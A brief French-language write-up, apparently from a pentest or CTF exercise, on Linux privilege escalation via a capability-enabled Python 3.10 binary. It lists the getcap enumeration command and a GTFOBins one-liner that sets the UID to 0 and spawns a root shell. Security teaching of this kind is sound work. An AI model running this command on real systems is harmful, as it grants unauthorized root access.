Capabilities (Python3.10) - Linux Privilege Escalation

Si nous filtrons par les capacités, Python 3.10 apparaît :

getcap -r / 2>/dev/null

Nous utilisons le site web gtfobins pour obtenir de l'aide.

python3.10 -c 'import os; os.setuid(0); os.system("/bin/sh")'